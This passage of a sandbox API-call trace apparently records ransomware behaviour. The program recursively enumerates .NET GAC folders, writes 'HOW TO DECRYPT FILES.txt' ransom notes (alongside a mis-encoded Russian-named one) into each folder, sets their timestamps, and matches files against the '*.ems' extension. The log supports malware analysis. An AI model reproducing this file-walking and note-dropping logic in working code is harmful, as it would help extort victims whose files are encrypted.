lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationFramework.Classic" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic" [0101.437] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.437] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.437] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.437] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.437] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.437] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.437] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.437] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.437] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\*.*") returned="*.*" [0101.437] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35" [0101.438] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.438] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.438] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.438] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.438] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.438] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0101.438] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.438] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Classic.dll") returned -1 [0101.438] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Classic.dll") returned -1 [0101.438] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Classic.dll") returned -1 [0101.438] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\" [0101.438] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.438] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.438] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.classic\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.439] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.classic\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.441] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.441] CloseHandle (hObject=0x90) returned 1 [0101.441] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationFramework.Classic.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Classic.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Classic.dll" [0101.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Classic.dll", pszSpec="*.ems") returned 0 [0101.441] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 0 [0101.441] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.442] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.442] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.442] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFramework.Luna", cAlternateFileName="PRESEN~1.LUN")) returned 1 [0101.442] lstrcmpA (lpString1=".", lpString2="PresentationFramework.Luna") returned -1 [0101.442] lstrcmpA (lpString1="..", lpString2="PresentationFramework.Luna") returned -1 [0101.442] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.442] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationFramework.Luna" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna" [0101.442] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.443] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.443] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.443] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.443] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.443] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc11e2f19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc11e2f19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.443] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.443] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.443] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\*.*") returned="*.*" [0101.443] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35" [0101.443] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc11e2f19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc11e2f19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.444] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc11e2f19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc11e2f19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.444] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.444] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa999b90d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa999b90d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99c1a6d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0101.444] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.444] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Luna.dll") returned -1 [0101.444] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Luna.dll") returned -1 [0101.444] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Luna.dll") returned -1 [0101.444] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.444] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\" [0101.444] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.444] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.444] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.luna\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.445] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.luna\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.447] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.447] CloseHandle (hObject=0x90) returned 1 [0101.447] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationFramework.Luna.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Luna.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Luna.dll" [0101.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Luna.dll", pszSpec="*.ems") returned 0 [0101.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa999b90d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa999b90d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99c1a6d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 0 [0101.448] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.448] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc11e2f19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc11e2f19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.448] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.448] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFramework.Royale", cAlternateFileName="PRESEN~1.ROY")) returned 1 [0101.448] lstrcmpA (lpString1=".", lpString2="PresentationFramework.Royale") returned -1 [0101.448] lstrcmpA (lpString1="..", lpString2="PresentationFramework.Royale") returned -1 [0101.448] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.448] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationFramework.Royale" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale" [0101.448] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.449] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.449] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.449] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.449] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.449] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.449] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.449] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.449] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\*.*") returned="*.*" [0101.450] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35" [0101.450] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.450] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.450] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.450] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.450] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.450] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0101.450] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.450] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Royale.dll") returned -1 [0101.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Royale.dll") returned -1 [0101.451] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Royale.dll") returned -1 [0101.451] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\" [0101.451] PathAddBackslashA (in: 